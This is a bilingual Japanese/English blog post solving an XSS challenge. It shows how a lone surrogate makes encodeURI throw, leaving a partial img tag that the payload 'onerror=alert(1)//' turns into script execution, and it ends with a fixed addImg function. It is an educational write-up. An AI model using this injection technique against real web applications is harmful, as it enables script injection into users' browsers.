XSS例題回答

これは、XSS例題 - masa’s memo のヒントと回答です。自力で解きたい人はこの記事は読まないでください。
This is hints and answer for XSS例題 - masa’s memo. Try before read this article. (Click "続きを読む" to read more)

落とし穴(Trap)

この問題は、一見すると href="malformed text" の malformed text 部分を何とかして他の属性値を注入する問題に見えます。しかし、ここに落とし穴があります。実は、この問題は document.write の部分を以下のものと同じと考えている限り絶対に解けないように作ってあるのです。

This challenge may be seems to requires get a malformed text for href="malformed text" that enables to inject other attribute. But it contains a trap. This challenge is designed to be impossible to find answer when you are considering document.write part of this challenge is same as following code.

    w.document.write("<img src=\"+encodeURI(url)+"\">");

また、isValidUrl()でブロックされず、かつencodeURIでエンコードされずにそのまま通る文字だけで考えていてもこの問題は解けません

And, if you are thinking about characters that passes isValidUrl() and not encoded by encodeURI(), it is also impossible to solve.

脆弱性はどこにあるのか(Where is vulnerability ?)

この問題の脆弱性は、isValidUrl() の仕様と encodeURI() の仕様と addImg() の処理フローのミスマッチに存在します。

Vulnerability of this challenge is caused by miss-matching of specification of isValidUrl and specification of encodeURI() and control flow of addImg().

encodeURI がどういう仕様だったかをよく読み直してみて下さい。入力文字に対する挙動が「そのまま通す」「%エンコード」のほかにもう一つあることに気がつくはずです。

Please read specification of encodeURI() again. You can find one more behavior of encodeURI() other than "pass through" and "percent encode".

それは、「サロゲートが正しくぺアになっていない場合は URIError を投げる」という動作です。

So, it is "Throwing URIError when is contains invalid surrogate character".



答え(Answer)

ここで、もう一度 addImg のURLに不正なサロゲート文字が与えられた場合の動作を見直して見ましょう。

Watch addImg code again with invalid surrogate code.

function addImg(w, url) {
  try {
    w.resizeTo(200,200);
    if (!isValidUrl(url)) return;
    w.document.write("<img src=\"");
    //ここから先の w.document.writeは実行されない
    //Following w.document.write is not executed.
    w.document.write(encodeURI(url));
    w.document.write("\">");
  } catch (e) {/*resizeTo may throw exception */}
}

この場合、w に出力されるのは、以下の壊れた HTML断片になります。
In this case following broken HTML is outputted to w.

>||html|

そこで、次に以下の文字列を与えて見ましょう。
Next, pass following string.

onerror=alert(1)//

その結果の出力は以下のようになります。
Its result is here:

<img src="<img src="onerror=alert(1)//">

これで完成です。
Now XSS is completed.

半端なサロゲートの入力方法(How to input invalid surrogate character)

以下のhtmlを表示させてコピー&ペーストで
Display this html , and use Copy&Paste.

<html>
<body>
    <form><input type=text value="&#xD800;"></form>
</body>
</html>

addImg関数を安全に直す(To make function addImg safe )

以下のようにaddImg関数を直すと、XSSが成立しなくなります。
To avoid XSS, change addImg function as following.

function addImg(w, url) {
  try {
    w.resizeTo(200,200);
    if (!isValidUrl(url)) return;
    w.document.write("<img src=\"" + encodeURI(url) + "\">");
  } catch (e) {/*resizeTo may throw exception */}
}

この場合、encodeURIで例外が発生しても中途半端なHTML断片の出力は行われないので安全です。
In this case, when exception is thowrn from encodeURI, broken HTML fragment is not writen.